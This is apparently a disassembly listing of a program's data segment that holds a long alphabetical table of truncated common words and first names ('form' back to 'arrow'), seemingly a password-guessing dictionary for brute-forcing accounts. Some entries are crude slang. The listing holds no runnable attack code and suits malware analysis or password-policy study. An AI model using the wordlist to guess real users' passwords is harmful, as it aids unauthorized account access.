aForm db 'form',0 ; DATA XREF: seg002:0042CD00o
align 10h
aForever db 'forever',0 ; DATA XREF: seg002:0042CCFCo
aForesigh db 'foresigh',0 ; DATA XREF: seg002:0042CCF8o
align 4
aFord db 'ford',0 ; DATA XREF: seg002:0042CCF4o
align 4
aForce db 'force',0 ; DATA XREF: seg002:0042CCF0o
align 4
aFootball db 'football',0 ; DATA XREF: seg002:0042CCECo
align 10h
aFoolproo db 'foolproo',0 ; DATA XREF: seg002:0042CCE8o
align 4
aFool db 'fool',0 ; DATA XREF: seg002:0042CCE4o
align 4
aFood db 'food',0 ; DATA XREF: seg002:0042CCE0o
align 4
aFlowers db 'flowers',0 ; DATA XREF: seg002:0042CCDCo
aFlower db 'flower',0 ; DATA XREF: seg002:0042CCD8o
align 4
aFlorida db 'florida',0 ; DATA XREF: seg002:0042CCD4o
aFloat db 'float',0 ; DATA XREF: seg002:0042CCD0o
align 4
aFlakes db 'flakes',0 ; DATA XREF: seg002:0042CCCCo
align 4
aFishers db 'fishers',0 ; DATA XREF: seg002:0042CCC8o
aFirewall db 'firewall',0 ; DATA XREF: seg002:0042CCC4o
align 4
aFire db 'fire',0 ; DATA XREF: seg002:0042CCC0o
align 10h
aFinite db 'finite',0 ; DATA XREF: seg002:0042CCBCo
align 4
aFile db 'file',0 ; DATA XREF: seg000:0040EB48o
; seg000:0040EBBEo ...
align 10h
aFight db 'fight',0 ; DATA XREF: seg002:0042CCB4o
align 4
aField db 'field',0 ; DATA XREF: seg002:0042CCB0o
align 10h
aFidelity db 'fidelity',0 ; DATA XREF: seg002:0042CCACo
align 4
aFerrari db 'ferrari',0 ; DATA XREF: seg002:0042CCA8o
aFermat db 'fermat',0 ; DATA XREF: seg002:0042CCA4o
align 4
aFender db 'fender',0 ; DATA XREF: seg002:0042CCA0o
align 4
aFelicia db 'felicia',0 ; DATA XREF: seg002:0042CC9Co
aFeds db 'feds',0 ; DATA XREF: seg002:0042CC98o
align 4
aFear db 'fear',0 ; DATA XREF: seg002:0042CC94o
align 4
aFast db 'fast',0 ; DATA XREF: seg002:0042CC90o
align 4
aFart db 'fart',0 ; DATA XREF: seg002:0042CC8Co
align 4
aFaraday db 'faraday',0 ; DATA XREF: seg002:0042CC88o
aFarad db 'farad',0 ; DATA XREF: seg002:0042CC84o
align 4
aFamily db 'family',0 ; DATA XREF: seg002:0042CC80o
align 4
aFalse db 'false',0 ; DATA XREF: seg002:0042CC7Co
align 4
aFalcon db 'falcon',0 ; DATA XREF: seg002:0042CC78o
align 4
aFaith db 'faith',0 ; DATA XREF: seg002:0042CC74o
align 4
aFairway db 'fairway',0 ; DATA XREF: seg002:0042CC70o
aExtensio db 'extensio',0 ; DATA XREF: seg002:0042CC6Co
align 10h
aExplosiv db 'explosiv',0 ; DATA XREF: seg002:0042CC68o
align 4
aExplorer db 'explorer',0 ; DATA XREF: seg002:0042CC64o
align 4
aExplore db 'explore',0 ; DATA XREF: seg002:0042CC60o
aExplode db 'explode',0 ; DATA XREF: seg002:0042CC5Co
aExpert db 'expert',0 ; DATA XREF: seg002:0042CC58o
align 10h
aEvelyn db 'evelyn',0 ; DATA XREF: seg002:0042CC54o
align 4
aEuclid db 'euclid',0 ; DATA XREF: seg002:0042CC50o
align 10h
aEternity db 'eternity',0 ; DATA XREF: seg002:0042CC4Co
align 4
aEstate db 'estate',0 ; DATA XREF: seg002:0042CC48o
align 4
aEstablis db 'establis',0 ; DATA XREF: seg002:0042CC44o
align 10h
aErsatz db 'ersatz',0 ; DATA XREF: seg002:0042CC40o
align 4
aErotic db 'erotic',0 ; DATA XREF: seg002:0042CC3Co
align 10h
aErin db 'erin',0 ; DATA XREF: seg002:0042CC38o
align 4
aErika db 'erika',0 ; DATA XREF: seg002:0042CC34o
align 10h
aErica db 'erica',0 ; DATA XREF: seg002:0042CC30o
align 4
aEric db 'eric',0 ; DATA XREF: seg002:0042CC2Co
align 10h
aErenity db 'erenity',0 ; DATA XREF: seg002:0042CC28o
aEnzyme db 'enzyme',0 ; DATA XREF: seg002:0042CC24o
align 10h
aEnterpri db 'enterpri',0 ; DATA XREF: seg002:0042CC20o
align 4
aEnter db 'enter',0 ; DATA XREF: seg002:0042CC1Co
align 4
aEnglish db 'english',0 ; DATA XREF: seg002:0042CC18o
aEngland db 'england',0 ; DATA XREF: seg002:0042CC14o
aEngineer db 'engineer',0 ; DATA XREF: seg002:0042CC10o
align 10h
aEngine db 'engine',0 ; DATA XREF: seg002:0042CC0Co
align 4
aEnemy db 'enemy',0 ; DATA XREF: seg002:0042CC08o
align 10h
aEmmanuel db 'emmanuel',0 ; DATA XREF: seg002:0042CC04o
align 4
aEmily db 'emily',0 ; DATA XREF: seg002:0042CC00o
align 4
aEmerald db 'emerald',0 ; DATA XREF: seg002:0042CBFCo
aEmail db 'email',0 ; DATA XREF: seg002:0042CBF8o
align 4
aEllen db 'ellen',0 ; DATA XREF: seg002:0042CBF4o
align 4
aElizabet db 'elizabet',0 ; DATA XREF: seg002:0042CBF0o
align 4
aElephant db 'elephant',0 ; DATA XREF: seg002:0042CBECo
align 4
aElectron db 'electron',0 ; DATA XREF: seg002:0042CBE8o
align 10h
aElanor db 'elanor',0 ; DATA XREF: seg002:0042CBE4o
align 4
aElaine db 'elaine',0 ; DATA XREF: seg002:0042CBE0o
align 10h
aEinstein db 'einstein',0 ; DATA XREF: seg002:0042CBDCo
align 4
aEinsiein db 'einsiein',0 ; DATA XREF: seg002:0042CBD8o
align 4
aEileen db 'eileen',0 ; DATA XREF: seg002:0042CBD4o
align 10h
aEiderdow db 'eiderdow',0 ; DATA XREF: seg002:0042CBD0o
align 4
aEgghead db 'egghead',0 ; DATA XREF: seg002:0042CBCCo
aEdwina db 'edwina',0 ; DATA XREF: seg002:0042CBC8o
align 4
aEdwin db 'edwin',0 ; DATA XREF: seg002:0042CBC4o
align 4
aEducatio db 'educatio',0 ; DATA XREF: seg002:0042CBC0o
align 10h
aEducation db 'education',0 ; DATA XREF: seg002:0042CBBCo
align 4
aEdition db 'edition',0 ; DATA XREF: seg002:0042CBB8o
aEdit db 'edit',0 ; DATA XREF: seg002:0042CBB4o
align 4
aEdinburg db 'edinburg',0 ; DATA XREF: seg002:0042CBB0o
align 4
aEdges db 'edges',0 ; DATA XREF: seg002:0042CBACo
align 10h
aEddie db 'eddie',0 ; DATA XREF: seg002:0042CBA8o
align 4
aEcho db 'echo',0 ; DATA XREF: seg002:0042CBA4o
align 10h
aEatme db 'eatme',0 ; DATA XREF: seg002:0042CBA0o
align 4
aEasy db 'easy',0 ; DATA XREF: seg002:0042CB9Co
align 10h
aEasier db 'easier',0 ; DATA XREF: seg002:0042CB98o
align 4
aEarth db 'earth',0 ; DATA XREF: seg002:0042CB94o
align 10h
aEagle db 'eagle',0 ; DATA XREF: seg002:0042CB90o
align 4
aEager db 'eager',0 ; DATA XREF: seg002:0042CB8Co
align 10h
aDyke db 'dyke',0 ; DATA XREF: seg002:0042CB88o
align 4
aDungeon db 'dungeon',0 ; DATA XREF: seg002:0042CB84o
aDuncan db 'duncan',0 ; DATA XREF: seg002:0042CB80o
align 4
aDulce db 'dulce',0 ; DATA XREF: seg002:0042CB7Co
align 10h
aDuke db 'duke',0 ; DATA XREF: seg002:0042CB78o
align 4
aDuelist db 'duelist',0 ; DATA XREF: seg002:0042CB74o
aDude db 'dude',0 ; DATA XREF: seg002:0042CB70o
align 4
aDuck db 'duck',0 ; DATA XREF: seg002:0042CB6Co
align 10h
aDrought db 'drought',0 ; DATA XREF: seg002:0042CB68o
aDrive db 'drive',0 ; DATA XREF: seg002:0042CB64o
align 10h
aDrdoom db 'drdoom',0 ; DATA XREF: seg002:0042CB60o
align 4
aDragon db 'dragon',0 ; DATA XREF: seg002:0042CB5Co
align 10h
aDownload db 'download',0 ; DATA XREF: seg002:0042CB58o
align 4
aDope db 'dope',0 ; DATA XREF: seg002:0042CB54o
align 4
aDoors db 'doors',0 ; DATA XREF: seg002:0042CB50o
align 4
aDoor db 'door',0 ; DATA XREF: seg002:0042CB4Co
align 4
aDoonesbu db 'doonesbu',0 ; DATA XREF: seg002:0042CB48o
align 10h
aDoomsday db 'doomsday',0 ; DATA XREF: seg002:0042CB44o
align 4
aDoomii db 'doomii',0 ; DATA XREF: seg002:0042CB40o
align 4
aDoom2 db 'doom2',0 ; DATA XREF: seg002:0042CB3Co
align 4
aDoom db 'doom',0 ; DATA XREF: seg002:0042CB38o
align 4
aDong db 'dong',0 ; DATA XREF: seg002:0042CB34o
align 4
aDollar db 'dollar',0 ; DATA XREF: seg002:0042CB30o
align 4
aDoctor db 'doctor',0 ; DATA XREF: seg002:0042CB2Co
align 4
aDisplay db 'display',0 ; DATA XREF: seg002:0042CB28o
aDisney db 'disney',0 ; DATA XREF: seg002:0042CB24o
align 4
aDiskette db 'diskette',0 ; DATA XREF: seg002:0042CB20o
align 4
aDisk_0 db 'disk',0 ; DATA XREF: seg002:0042CB1Co
align 10h
aDiscover db 'discover',0 ; DATA XREF: seg002:0042CB18o
align 4
aDisclose db 'disclose',0 ; DATA XREF: seg002:0042CB14o
align 4
aDiscipli db 'discipli',0 ; DATA XREF: seg002:0042CB10o
align 4
aDisc db 'disc',0 ; DATA XREF: seg002:0042CB0Co
align 4
aDirty db 'dirty',0 ; DATA XREF: seg002:0042CB08o
align 4
aDirector db 'director',0 ; DATA XREF: seg002:0042CB04o
align 10h
aDirect db 'direct',0 ; DATA XREF: seg002:0042CB00o
align 4
aDipshit db 'dipshit',0 ; DATA XREF: seg002:0042CAFCo
aDinosaur db 'dinosaur',0 ; DATA XREF: seg002:0042CAF8o
align 4
aDigital db 'digital',0 ; DATA XREF: seg002:0042CAF4o
aDieter db 'dieter',0 ; DATA XREF: seg002:0042CAF0o
align 4
aDiet db 'diet',0 ; DATA XREF: seg002:0042CAECo
align 4
aDiehard db 'diehard',0 ; DATA XREF: seg002:0042CAE8o
aDick db 'dick',0 ; DATA XREF: seg002:0042CAE4o
align 4
aDice db 'dice',0 ; DATA XREF: seg002:0042CAE0o
align 4
aDiane db 'diane',0 ; DATA XREF: seg002:0042CADCo
align 4
aDiana db 'diana',0 ; DATA XREF: seg002:0042CAD8o
align 4
aDiamond db 'diamond',0 ; DATA XREF: seg002:0042CAD4o
aDial db 'dial',0 ; DATA XREF: seg002:0042CAD0o
align 4
aDevice db 'device',0 ; DATA XREF: seg002:0042CACCo
align 4
aDevelop db 'develop',0 ; DATA XREF: seg002:0042CAC8o
aDesperat db 'desperat',0 ; DATA XREF: seg002:0042CAC4o
align 4
aDesktop db 'desktop',0 ; DATA XREF: seg002:0042CAC0o
aDesk db 'desk',0 ; DATA XREF: seg002:0042CABCo
align 4
aDesiree db 'desiree',0 ; DATA XREF: seg002:0042CAB8o
aDennis db 'dennis',0 ; DATA XREF: seg002:0042CAB4o
align 4
aDenise db 'denise',0 ; DATA XREF: seg002:0042CAB0o
align 10h
aDemocrat db 'democrat',0 ; DATA XREF: seg002:0042CAACo
align 4
aDeluge db 'deluge',0 ; DATA XREF: seg002:0042CAA8o
align 4
aDelta db 'delta',0 ; DATA XREF: seg002:0042CAA4o
align 4
aDefoe db 'defoe',0 ; DATA XREF: seg002:0042CAA0o
align 4
aDefault_0 db 'DEFAULT',0 ; DATA XREF: seg002:0042CA9Co
aDeck db 'deck',0 ; DATA XREF: seg002:0042CA94o
align 4
aDecember db 'december',0 ; DATA XREF: seg002:0042CA90o
align 10h
aDebug db 'debug',0 ; DATA XREF: seg002:0042CA8Co
align 4
aDeborah db 'deborah',0 ; DATA XREF: seg002:0042CA88o
aDebbie db 'debbie',0 ; DATA XREF: seg002:0042CA84o
align 4
aDeathsta db 'deathsta',0 ; DATA XREF: seg002:0042CA80o
align 4
aDead db 'dead',0 ; DATA XREF: seg002:0042CA7Co
align 4
aDawn db 'dawn',0 ; DATA XREF: seg002:0042CA78o
align 4
aDave db 'dave',0 ; DATA XREF: seg002:0042CA74o
align 4
aData db 'data',0 ; DATA XREF: seg002:0042CA70o
align 4
aDarkaven db 'darkaven',0 ; DATA XREF: seg002:0042CA6Co
align 10h
aDark db 'dark',0 ; DATA XREF: seg002:0042CA68o
align 4
aDapper db 'dapper',0 ; DATA XREF: seg002:0042CA64o
align 10h
aDanny db 'danny',0 ; DATA XREF: seg002:0042CA60o
align 4
aDanielle db 'danielle',0 ; DATA XREF: seg002:0042CA5Co
align 4
aDaniel db 'daniel',0 ; DATA XREF: seg002:0042CA58o
align 4
aDancer db 'dancer',0 ; DATA XREF: seg002:0042CA54o
align 4
aDana db 'dana',0 ; DATA XREF: seg002:0042CA50o
align 4
aDaisy db 'daisy',0 ; DATA XREF: seg002:0042CA4Co
align 4
aDaemon db 'daemon',0 ; DATA XREF: seg002:0042CA48o
align 4
aCynthia db 'cynthia',0 ; DATA XREF: seg002:0042CA44o
aCyberspa db 'cyberspa',0 ; DATA XREF: seg002:0042CA40o
align 10h
aCyberpun db 'cyberpun',0 ; DATA XREF: seg002:0042CA3Co
align 4
aCyber db 'cyber',0 ; DATA XREF: seg002:0042CA38o
align 4
aCustomer db 'customer',0 ; DATA XREF: seg002:0042CA34o
align 10h
aCunt db 'cunt',0 ; DATA XREF: seg002:0042CA30o
align 4
aCshrc db 'cshrc',0 ; DATA XREF: seg002:0042CA2Co
align 10h
aCrystal db 'crystal',0 ; DATA XREF: seg002:0042CA28o
aCristina db 'cristina',0 ; DATA XREF: seg002:0042CA24o
align 4
aCriminal db 'criminal',0 ; DATA XREF: seg002:0042CA20o
align 10h
aCrime db 'crime',0 ; DATA XREF: seg002:0042CA1Co
align 4
aCretin db 'cretin',0 ; DATA XREF: seg002:0042CA18o
align 10h
aCreosote db 'creosote',0 ; DATA XREF: seg002:0042CA14o
align 4
aCredit db 'credit',0 ; DATA XREF: seg002:0042CA10o
align 4
aCreature db 'creature',0 ; DATA XREF: seg002:0042CA0Co
align 10h
aCreation db 'creation',0 ; DATA XREF: seg002:0042CA08o
align 4
aCreate db 'create',0 ; DATA XREF: seg002:0042CA04o
align 4
aCream db 'cream',0 ; DATA XREF: seg002:0042CA00o
align 4
aCrackpot db 'crackpot',0 ; DATA XREF: seg002:0042C9FCo
align 4
aCrack db 'crack',0 ; DATA XREF: seg002:0042C9F8o
align 10h
aCowboy db 'cowboy',0 ; DATA XREF: seg002:0042C9F4o
align 4
aCouscous db 'couscous',0 ; DATA XREF: seg002:0042C9F0o
align 4
aCountry db 'country',0 ; DATA XREF: seg002:0042C9ECo
aCounters db 'counters',0 ; DATA XREF: seg002:0042C9E8o
align 4
aCorrect db 'correct',0 ; DATA XREF: seg002:0042C9E4o
aCorneliu db 'corneliu',0 ; DATA XREF: seg002:0042C9E0o
align 4
aCopy db 'copy',0 ; DATA XREF: seg002:0042C9DCo
align 4
aCops db 'cops',0 ; DATA XREF: seg002:0042C9D8o
align 4
aCopper db 'copper',0 ; DATA XREF: seg002:0042C9D4o
align 4
aCooper db 'cooper',0 ; DATA XREF: seg002:0042C9D0o
align 4
aCool db 'cool',0 ; DATA XREF: seg002:0042C9CCo
align 4
aCookie db 'cookie',0 ; DATA XREF: seg002:0042C9C8o
align 4
aCookbook db 'cookbook',0 ; DATA XREF: seg002:0042C9C4o
align 4
aCook db 'cook',0 ; DATA XREF: seg002:0042C9C0o
align 10h
aContinue db 'continue',0 ; DATA XREF: seg000:0040EDC1o
; seg002:0042C9BCo
align 4
aConsole db 'console',0 ; DATA XREF: seg002:0042C9B8o
aConserva db 'conserva',0 ; DATA XREF: seg002:0042C9B4o
align 10h
aConnie db 'connie',0 ; DATA XREF: seg002:0042C9B0o
align 4
aCondom db 'condom',0 ; DATA XREF: seg002:0042C9A8o
align 10h
aCondo db 'condo',0 ; DATA XREF: seg002:0042C9A4o
align 4
aComrades db 'comrades',0 ; DATA XREF: seg002:0042C9A0o
align 4
aComrade db 'comrade',0 ; DATA XREF: seg002:0042C99Co
aComputin db 'computin',0 ; DATA XREF: seg002:0042C998o
align 4
aCompany db 'company',0 ; DATA XREF: seg002:0042C994o
aCommrade db 'commrade',0 ; DATA XREF: seg002:0042C990o
align 4
aCommit db 'commit',0 ; DATA XREF: seg002:0042C98Co
align 4
aComics db 'comics',0 ; DATA XREF: seg002:0042C988o
align 4
aCombat db 'combat',0 ; DATA XREF: seg002:0042C984o
align 4
aColor db 'color',0 ; DATA XREF: seg002:0042C980o
align 4
aCollins db 'collins',0 ; DATA XREF: seg002:0042C97Co
aCold db 'cold',0 ; DATA XREF: seg002:0042C978o
align 4
aCola db 'cola',0 ; DATA XREF: seg002:0042C974o
align 4
aCoke db 'coke',0 ; DATA XREF: seg002:0042C970o
align 4
aCoin db 'coin',0 ; DATA XREF: seg002:0042C96Co
align 4
aCoffee db 'coffee',0 ; DATA XREF: seg002:0042C968o
align 4
aCodeword db 'codeword',0 ; DATA XREF: seg002:0042C964o
align 4
aCodename db 'codename',0 ; DATA XREF: seg002:0042C960o
align 4
aCode db 'code',0 ; DATA XREF: seg002:0042C95Co
align 4
aCock db 'cock',0 ; DATA XREF: seg002:0042C958o
align 4
aCocainco db 'cocainco',0 ; DATA XREF: seg002:0042C954o
align 10h
aCocacola db 'cocacola',0 ; DATA XREF: seg002:0042C950o
align 4
aCoast db 'coast',0 ; DATA XREF: seg002:0042C94Co
align 4
aClusters db 'clusters',0 ; DATA XREF: seg002:0042C948o
align 10h
aCluster db 'cluster',0 ; DATA XREF: seg002:0042C944o
aClinton db 'clinton',0 ; DATA XREF: seg002:0042C940o
aCleavage db 'cleavage',0 ; DATA XREF: seg002:0042C93Co
align 4
aClaymore db 'claymore',0 ; DATA XREF: seg002:0042C938o
align 4
aClaudia db 'claudia',0 ; DATA XREF: seg002:0042C934o
aClassic db 'classic',0 ; DATA XREF: seg002:0042C930o
aClasses db 'classes',0 ; DATA XREF: seg002:0042C92Co
aClass db 'class',0 ; DATA XREF: seg002:0042C928o
align 4
aCindy db 'cindy',0 ; DATA XREF: seg002:0042C924o
align 10h
aCigarett db 'cigarett',0 ; DATA XREF: seg002:0042C920o
align 4
aCigar db 'cigar',0 ; DATA XREF: seg002:0042C91Co
align 4
aChristy db 'christy',0 ; DATA XREF: seg002:0042C918o
aChristin db 'christin',0 ; DATA XREF: seg002:0042C914o
align 4
aChris db 'chris',0 ; DATA XREF: seg002:0042C910o
align 10h
aChip db 'chip',0 ; DATA XREF: seg002:0042C90Co
align 4
aChester db 'chester',0 ; DATA XREF: seg002:0042C908o
aChess db 'chess',0 ; DATA XREF: seg002:0042C904o
align 4
aChemistr db 'chemistr',0 ; DATA XREF: seg002:0042C900o
align 4
aChem db 'chem',0 ; DATA XREF: seg002:0042C8FCo
align 4
aChat_0 db 'chat',0 ; DATA XREF: seg002:0042C8F8o
align 4
aCharon db 'charon',0 ; DATA XREF: seg002:0042C8F4o
align 4
aCharming db 'charming',0 ; DATA XREF: seg002:0042C8F0o
align 4
aCharlie db 'charlie',0 ; DATA XREF: seg002:0042C8ECo
aCharles db 'charles',0 ; DATA XREF: seg002:0042C8E8o
aCharity db 'charity',0 ; DATA XREF: seg002:0042C8E4o
aChange db 'change',0 ; DATA XREF: seg002:0042C8E0o
align 4
aCerulean db 'cerulean',0 ; DATA XREF: seg002:0042C8DCo
align 4
aCeltics db 'celtics',0 ; DATA XREF: seg002:0042C8D8o
aCeltic db 'celtic',0 ; DATA XREF: seg002:0042C8D4o
align 4
aCelt db 'celt',0 ; DATA XREF: seg002:0042C8D0o
align 4
aCecily db 'cecily',0 ; DATA XREF: seg002:0042C8CCo
align 4
aCayuga db 'cayuga',0 ; DATA XREF: seg002:0042C8C8o
align 4
aCave db 'cave',0 ; DATA XREF: seg002:0042C8C4o
align 4
aCathy db 'cathy',0 ; DATA XREF: seg002:0042C8C0o
align 4
aCatholic db 'catholic',0 ; DATA XREF: seg002:0042C8BCo
align 4
aCatherin db 'catherin',0 ; DATA XREF: seg002:0042C8B8o
align 4
aCastle db 'castle',0 ; DATA XREF: seg002:0042C8B4o
align 4
aCash db 'cash',0 ; DATA XREF: seg002:0042C8B0o
align 4
aCascades db 'cascades',0 ; DATA XREF: seg002:0042C8ACo
align 10h
aCarson db 'carson',0 ; DATA XREF: seg002:0042C8A8o
align 4
aCarrie db 'carrie',0 ; DATA XREF: seg002:0042C8A4o
align 10h
aCaroline db 'caroline',0 ; DATA XREF: seg002:0042C8A0o
align 4
aCarolina db 'carolina',0 ; DATA XREF: seg002:0042C89Co
align 4
aCarole db 'carole',0 ; DATA XREF: seg002:0042C898o
align 10h
aCarol db 'carol',0 ; DATA XREF: seg002:0042C894o
align 4
aCarmen db 'carmen',0 ; DATA XREF: seg002:0042C890o
align 10h
aCarla db 'carla',0 ; DATA XREF: seg002:0042C88Co
align 4
aCaren db 'caren',0 ; DATA XREF: seg002:0042C888o
align 10h
aCardinal db 'cardinal',0 ; DATA XREF: seg002:0042C884o
align 4
aCard db 'card',0 ; DATA XREF: seg002:0042C880o
align 4
aCapture db 'capture',0 ; DATA XREF: seg002:0042C87Co
aCaptain db 'captain',0 ; DATA XREF: seg002:0042C878o
aCantor db 'cantor',0 ; DATA XREF: seg002:0042C874o
align 4
aCandy db 'candy',0 ; DATA XREF: seg002:0042C870o
align 4
aCandi db 'candi',0 ; DATA XREF: seg002:0042C86Co
align 4
aCamping db 'camping',0 ; DATA XREF: seg002:0042C868o
aCampanil db 'campanil',0 ; DATA XREF: seg002:0042C864o
align 10h
aCamille db 'camille',0 ; DATA XREF: seg002:0042C860o
aCaliforn db 'californ',0 ; DATA XREF: seg002:0042C85Co
align 4
aButthead db 'butthead',0 ; DATA XREF: seg002:0042C858o
align 10h
aButt db 'butt',0 ; DATA XREF: seg002:0042C854o
align 4
aButch db 'butch',0 ; DATA XREF: seg002:0042C850o
align 10h
aBurn db 'burn',0 ; DATA XREF: seg002:0042C84Co
align 4
aBurgess db 'burgess',0 ; DATA XREF: seg002:0042C848o
aBung db 'bung',0 ; DATA XREF: seg002:0042C844o
align 4
aBumbling db 'bumbling',0 ; DATA XREF: seg002:0042C840o
align 4
aBullshit db 'bullshit',0 ; DATA XREF: seg002:0042C83Co
align 10h
aBulls db 'bulls',0 ; DATA XREF: seg002:0042C838o
align 4
aBrutefor db 'brutefor',0 ; DATA XREF: seg002:0042C834o
align 4
aBrute db 'brute',0 ; DATA XREF: seg002:0042C830o
align 4
aBrunette db 'brunette',0 ; DATA XREF: seg002:0042C82Co
align 4
aBrothel db 'brothel',0 ; DATA XREF: seg002:0042C828o
aBroadway db 'broadway',0 ; DATA XREF: seg002:0042C824o
align 4
aBridget db 'bridget',0 ; DATA XREF: seg002:0042C820o
aBrian db 'brian',0 ; DATA XREF: seg002:0042C81Co
align 4
aBrenda db 'brenda',0 ; DATA XREF: seg002:0042C818o
align 4
aBreast db 'breast',0 ; DATA XREF: seg002:0042C814o
align 4
aBreak db 'break',0 ; DATA XREF: seg002:0042C810o
align 4
aBravo db 'bravo',0 ; DATA XREF: seg002:0042C80Co
align 4
aBrandy db 'brandy',0 ; DATA XREF: seg002:0042C808o
align 4
aBrandi db 'brandi',0 ; DATA XREF: seg002:0042C804o
align 4
aBradley db 'bradley',0 ; DATA XREF: seg002:0042C800o
aBoyscout db 'boyscout',0 ; DATA XREF: seg002:0042C7FCo
align 10h
aBorn db 'born',0 ; DATA XREF: seg002:0042C7F8o
align 4
aBook db 'book',0 ; DATA XREF: seg002:0042C7F4o
align 10h
aBoobs db 'boobs',0 ; DATA XREF: seg002:0042C7F0o
align 4
aBoob db 'boob',0 ; DATA XREF: seg002:0042C7ECo
align 10h
aBoner db 'boner',0 ; DATA XREF: seg002:0042C7E8o
align 4
aBomb db 'bomb',0 ; DATA XREF: seg002:0042C7E4o
align 10h
aBoard db 'board',0 ; DATA XREF: seg002:0042C7E0o
align 4
aBlues db 'blues',0 ; DATA XREF: seg002:0042C7DCo
align 10h
aBlue db 'blue',0 ; DATA XREF: seg002:0042C7D8o
align 4
aBlowjob db 'blowjob',0 ; DATA XREF: seg002:0042C7D4o
aBlow db 'blow',0 ; DATA XREF: seg002:0042C7D0o
align 4
aBloodaxe db 'bloodaxe',0 ; DATA XREF: seg002:0042C7CCo
align 4
aBlood db 'blood',0 ; DATA XREF: seg002:0042C7C8o
align 4
aBlondie db 'blondie',0 ; DATA XREF: seg002:0042C7C4o
aBlonde db 'blonde',0 ; DATA XREF: seg002:0042C7C0o
align 4
aBlack db 'black',0 ; DATA XREF: seg002:0042C7BCo
align 4
aBitnet db 'bitnet',0 ; DATA XREF: seg002:0042C7B8o
align 4
aBitmap db 'bitmap',0 ; DATA XREF: seg002:0042C7B4o
align 4
aBitch db 'bitch',0 ; DATA XREF: seg002:0042C7B0o
align 4
aBishop db 'bishop',0 ; DATA XREF: seg002:0042C7ACo
align 4
aBird db 'bird',0 ; DATA XREF: seg002:0042C7A8o
align 4
aBios db 'bios',0 ; DATA XREF: seg002:0042C7A4o
align 4
aBinary db 'binary',0 ; DATA XREF: seg002:0042C7A0o
align 4
aBill db 'bill',0 ; DATA XREF: seg002:0042C79Co
align 4
aBigfoot db 'bigfoot',0 ; DATA XREF: seg002:0042C798o
aBicamera db 'bicamera',0 ; DATA XREF: seg002:0042C794o
align 4
aBible db 'bible',0 ; DATA XREF: seg002:0042C790o
align 10h
aBeverly db 'beverly',0 ; DATA XREF: seg002:0042C78Co
aBetty db 'betty',0 ; DATA XREF: seg002:0042C788o
align 10h
aBetsie db 'betsie',0 ; DATA XREF: seg002:0042C784o
align 4
aBeth db 'beth',0 ; DATA XREF: seg002:0042C780o
align 10h
aBeta db 'beta',0 ; DATA XREF: seg002:0042C77Co
align 4
aBeryl db 'beryl',0 ; DATA XREF: seg002:0042C778o
align 10h
aBerliner db 'berliner',0 ; DATA XREF: seg002:0042C774o
align 4
aBerlin db 'berlin',0 ; DATA XREF: seg002:0042C770o
align 4
aBerkeley db 'berkeley',0 ; DATA XREF: seg002:0042C76Co
align 10h
aBeowulf db 'beowulf',0 ; DATA XREF: seg002:0042C768o
aBenz db 'benz',0 ; DATA XREF: seg002:0042C764o
align 10h
aBeloved db 'beloved',0 ; DATA XREF: seg002:0042C760o
aBell db 'bell',0 ; DATA XREF: seg002:0042C75Co
align 10h
aBehead db 'behead',0 ; DATA XREF: seg002:0042C758o
align 4
aBegin db 'begin',0 ; DATA XREF: seg002:0042C754o
align 10h
aBeethove db 'beethove',0 ; DATA XREF: seg002:0042C750o
align 4
aBecky db 'becky',0 ; DATA XREF: seg002:0042C74Co
align 4
aBeaver db 'beaver',0 ; DATA XREF: seg002:0042C748o
align 4
aBeauty db 'beauty',0 ; DATA XREF: seg002:0042C744o
align 4
aBeater db 'beater',0 ; DATA XREF: seg002:0042C740o
align 4
aBeast db 'beast',0 ; DATA XREF: seg002:0042C73Co
align 4
aBear db 'bear',0 ; DATA XREF: seg002:0042C738o
align 4
aBeammeup db 'beammeup',0 ; DATA XREF: seg002:0042C734o
align 4
aBeach db 'beach',0 ; DATA XREF: seg002:0042C730o
align 10h
aBatman db 'batman',0 ; DATA XREF: seg002:0042C72Co
align 4
aBatch db 'batch',0 ; DATA XREF: seg002:0042C728o
align 10h
aBassoon db 'bassoon',0 ; DATA XREF: seg002:0042C724o
aBass db 'bass',0 ; DATA XREF: seg002:0042C720o
align 10h
aBasic db 'basic',0 ; DATA XREF: seg002:0042C71Co
align 4
aBaseball db 'baseball',0 ; DATA XREF: seg002:0042C718o
align 4
aBartman db 'bartman',0 ; DATA XREF: seg002:0042C714o
aBart db 'bart',0 ; DATA XREF: seg002:0042C710o
align 4
aBaritone db 'baritone',0 ; DATA XREF: seg002:0042C70Co
align 10h
aBarf db 'barf',0 ; DATA XREF: seg002:0042C708o
align 4
aBare db 'bare',0 ; DATA XREF: seg002:0042C704o
align 10h
aBarber db 'barber',0 ; DATA XREF: seg002:0042C700o
align 4
aBarbara db 'barbara',0 ; DATA XREF: seg002:0042C6FCo
aBanks db 'banks',0 ; DATA XREF: seg002:0042C6F8o
align 4
aBank db 'bank',0 ; DATA XREF: seg002:0042C6F4o
align 10h
aBandit db 'bandit',0 ; DATA XREF: seg002:0042C6F0o
align 4
aBananas db 'bananas',0 ; DATA XREF: seg002:0042C6ECo
aBanana db 'banana',0 ; DATA XREF: seg002:0042C6E8o
align 4
aBall db 'ball',0 ; DATA XREF: seg002:0042C6E4o
align 10h
aBailey db 'bailey',0 ; DATA XREF: seg002:0042C6E0o
align 4
aBadass db 'badass',0 ; DATA XREF: seg002:0042C6DCo
align 10h
aBackdoor db 'backdoor',0 ; DATA XREF: seg002:0042C6D8o
align 4
aBacchus db 'bacchus',0 ; DATA XREF: seg002:0042C6D4o
aBaby db 'baby',0 ; DATA XREF: seg002:0042C6D0o
align 4
aBabe db 'babe',0 ; DATA XREF: seg002:0042C6CCo
align 4
aAzure db 'azure',0 ; DATA XREF: seg002:0042C6C8o
align 4
aAztecs db 'aztecs',0 ; DATA XREF: seg002:0042C6C4o
align 4
aAuthoriz db 'authoriz',0 ; DATA XREF: seg002:0042C6C0o
align 10h
aAttack db 'attack',0 ; DATA XREF: seg002:0042C6BCo
align 4
aAtom db 'atom',0 ; DATA XREF: seg002:0042C6B8o
align 10h
aAtmosphe db 'atmosphe',0 ; DATA XREF: seg002:0042C6B4o
align 4
aAthena db 'athena',0 ; DATA XREF: seg002:0042C6B0o
align 4
aAsshole db 'asshole',0 ; DATA XREF: seg002:0042C6ACo
aAsian db 'asian',0 ; DATA XREF: seg002:0042C6A8o
align 4
aArtist db 'artist',0 ; DATA XREF: seg002:0042C6A4o
align 4
aArthur db 'arthur',0 ; DATA XREF: seg002:0042C6A0o
align 4
aArrow db 'arrow',0 ; DATA XREF: seg002:0042C69Co
align 4
